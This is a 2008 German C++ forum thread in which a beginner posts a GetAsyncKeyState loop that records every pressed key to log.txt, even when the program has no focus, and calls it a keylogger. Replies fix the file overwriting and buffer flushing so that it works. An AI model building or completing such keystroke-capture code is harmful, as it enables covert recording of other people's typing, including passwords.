BlackBoard » Design, Programmierung & Entwicklung » Programmieren » C++ Variablenwert als Char in Datei schreiben » Hallo Gast [Anmelden|Registrieren]
Letzter Beitrag | Erster ungelesener Beitrag Druckvorschau | An Freund senden | Thema zu Favoriten hinzufügen
Neues Thema erstellen Antwort erstellen
Zum Ende der Seite springen Variablenwert als Char in Datei schreiben
Autor
Beitrag « Vorheriges Thema | Nächstes Thema »
YounG YounG ist männlich
Aufsteiger


images/avatars/avatar-159.gif

Dabei seit: 08.07.2008
Beiträge: 43
Herkunft: NRW

Variablenwert als Char in Datei schreiben       Zum Anfang der Seite springen

Hallo,

Folgendes Problem:

Ich versuche eine Variable in ein .txt file zu schreiben, was mir bisher aber nicht gelungen ist.

Mein Code:
code:
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
int main()
{

SHORT KeyState;
SHORT ArrKeyState[256];
long CheckSum;
long OldCheckSum = 987654; // dummy
using std::ofstream;
using std::endl;

while (1)
{

 CheckSum = 0;
 for (int i = 0; i < 256; i++)
 {

 KeyState = GetAsyncKeyState(i);
 CheckSum += KeyState;
 ArrKeyState[i] = KeyState;

 }

 if (OldCheckSum != CheckSum)
 {
 for (int i = 0; i < 256; i++)
     {
 // -32767 = KeyDown
   if (ArrKeyState[i] == -32767)
{
      ofstream fout("log.txt");
                    fout << "Key " << i << " pressed. (" << (char) i << ")" << endl;
                   }
}
}
OldCheckSum = CheckSum;
}
}


Mit Cout funktioniert das ganze sehr gut, aber da ich leider absoluter C++ Neuling bin, bin ich total überfragt warum es so nicht geht. Das Programm soll lediglig einen eingegebenen Buchstaben von der Tastatur ablesen und in die Datei schreiben, aber auch dann wenn es nicht im Focus ist. (Sowas wie ein Keylogger)

Nochmal die entscheidene Stelle:

Zitat:
ofstream fout("log.txt");
fout << "Key " << i << " pressed. (" << (char) i << ")" << endl;


__________________
„Der Horizont der meisten Menschen ist ein Kreis mit dem Radius 0. Und das nennen sie ihren Standpunkt.“ - Albert Einstein
15.10.2008 21:40 YounG ist offline E-Mail an YounG senden Beiträge von YounG suchen
Black Star Black Star ist männlich
Der Pate [Admin]


images/avatars/avatar-2158.jpg

Dabei seit: 11.12.2001
Beiträge: 2.282
Herkunft: /dev/stderr

      Zum Anfang der Seite springen

Abgesehen davon, dass ich nicht verstanden habe, wie dein Programm sich die Eingabe besorgt (was hier aber ja egal zu sein scheint), wirst du bei jedem oeffnen der Datei "log.txt" eine neue Datei anlegen und die alte ueberschreiben.
Ist dein Problem, dass die Datei nachher nur einen Eintrag enthaelt oder steht garnichts drin?
Wenn du anhaengen willst, musst du die Datei mit dem Flag std::ios::app oeffnen [1]
Ausserdem waere es sinnvoll die Datei fuer die Laufzeit des Programms offen zu halten, da du die Datei sonst vollkommen unnoetigerweise bei jedem Tastendruck (oder loslassen) erneut oeffnest.

[1] http://www.cplusplus.com/reference/iostr...m/ofstream.html

__________________
vescere bracis meis

15.10.2008 23:46 Black Star ist offline E-Mail an Black Star senden Homepage von Black Star Beiträge von Black Star suchen
phlox81 phlox81 ist männlich
Bote des Lichts und Moderator


images/avatars/avatar-2264.jpg

Dabei seit: 19.10.2002
Beiträge: 3.028
Herkunft: Irgendwo im Nirgendwo

      Zum Anfang der Seite springen

Du müsstest den Stream vor der Schleife erstellen, und ihn dann in der Schleife benutzen. So erstellst du jedesmal eine neue Datei, welche die alte überschreibt, wie Black Star bereits beschrieben hat.

Gibt es einen Grund, warum du GetAsyncKeyState anstatt cin/cin.get() benutzt?

phlox

__________________
Intelligenz ist eine Illusion des Menschen

phlox81.de | codenode.de
16.10.2008 12:00 phlox81 ist offline E-Mail an phlox81 senden Homepage von phlox81 Beiträge von phlox81 suchen
YounG YounG ist männlich
Aufsteiger


images/avatars/avatar-159.gif

Dabei seit: 08.07.2008
Beiträge: 43
Herkunft: NRW

Themenstarter Thema begonnen von YounG
      Zum Anfang der Seite springen

Danke. es funktioniert. Jetzt hab ich aber das Problem das ich jede Tasteneingabe in eine neue Zeile schreiben muss.

Der Code:

code:
1:
2:
fout << (char) i << endl;


funktioniert.

Dagegen geht der Code
code:
1:
2:
fout << (char) i;

nicht.


Zitat:
Gibt es einen Grund, warum du GetAsyncKeyState anstatt cin/cin.get() benutzt?


Ehrlichgesagt, Nein. Ich hatte ein Codebeispiel mit der GetAsynckeyState Funktion und hab mir gedacht ich machs genauso.

MfG Young

__________________
„Der Horizont der meisten Menschen ist ein Kreis mit dem Radius 0. Und das nennen sie ihren Standpunkt.“ - Albert Einstein
16.10.2008 21:24 YounG ist offline E-Mail an YounG senden Beiträge von YounG suchen
phlox81 phlox81 ist männlich
Bote des Lichts und Moderator


images/avatars/avatar-2264.jpg

Dabei seit: 19.10.2002
Beiträge: 3.028
Herkunft: Irgendwo im Nirgendwo

      Zum Anfang der Seite springen

std::endl hängt eine neue Zeile in den Stream ein. ("\n" würde dies auch).

__________________
Intelligenz ist eine Illusion des Menschen

phlox81.de | codenode.de
16.10.2008 21:29 phlox81 ist offline E-Mail an phlox81 senden Homepage von phlox81 Beiträge von phlox81 suchen
YounG YounG ist männlich
Aufsteiger


images/avatars/avatar-159.gif

Dabei seit: 08.07.2008
Beiträge: 43
Herkunft: NRW

Themenstarter Thema begonnen von YounG
      Zum Anfang der Seite springen

Ok vielleicht hab ich die Frage etwas unsauber formuliert, ich kann nur jeden Buchstaben in eine neue Zeile schreiben, ohne endl; geht es nicht.

MfG Young

__________________
„Der Horizont der meisten Menschen ist ein Kreis mit dem Radius 0. Und das nennen sie ihren Standpunkt.“ - Albert Einstein
16.10.2008 22:17 YounG ist offline E-Mail an YounG senden Beiträge von YounG suchen
phlox81 phlox81 ist männlich
Bote des Lichts und Moderator


images/avatars/avatar-2264.jpg

Dabei seit: 19.10.2002
Beiträge: 3.028
Herkunft: Irgendwo im Nirgendwo

      Zum Anfang der Seite springen

code:
1:
2:
3:
4:
for(int i = 0, s = 10; i < s; i++)
   std::cout << i << endl;
for(int i = 0, s = 10; i < s; i++)
   std::cout << i; 


Denke das sollte deine Frage beantworten.

__________________
Intelligenz ist eine Illusion des Menschen

phlox81.de | codenode.de
16.10.2008 22:21 phlox81 ist offline E-Mail an phlox81 senden Homepage von phlox81 Beiträge von phlox81 suchen
Black Star Black Star ist männlich
Der Pate [Admin]


images/avatars/avatar-2158.jpg

Dabei seit: 11.12.2001
Beiträge: 2.282
Herkunft: /dev/stderr

      Zum Anfang der Seite springen

Ich habe deine Frage auch nicht richtig verstanden, interpretiere sie aber auch anders als phlox81.

Der Unterschied zwischen << "\n" und << std::endl ist, dass std::endl auch noch ein flush() ausfuehrt, wodurch gepufferte daten auf den stream geschrieben werden.

Probier mal
code:
1:
std::cout << (char)i << std::flush;


__________________
vescere bracis meis

17.10.2008 00:38 Black Star ist offline E-Mail an Black Star senden Homepage von Black Star Beiträge von Black Star suchen
YounG YounG ist männlich
Aufsteiger


images/avatars/avatar-159.gif

Dabei seit: 08.07.2008
Beiträge: 43
Herkunft: NRW

Themenstarter Thema begonnen von YounG
      Zum Anfang der Seite springen

Black Star hat die Frage beantwortet, es lag wohl am Buffer.

MfG Young

__________________
„Der Horizont der meisten Menschen ist ein Kreis mit dem Radius 0. Und das nennen sie ihren Standpunkt.“ - Albert Einstein
17.10.2008 18:31 YounG ist offline E-Mail an YounG senden Beiträge von YounG suchen
Baumstruktur | Brettstruktur
Gehe zu:
Neues Thema erstellen Antwort erstellen
BlackBoard » Design, Programmierung & Entwicklung » Programmieren » C++ Variablenwert als Char in Datei schreiben

Forensoftware: Burning Board 2.3.6, entwickelt von WoltLab GmbH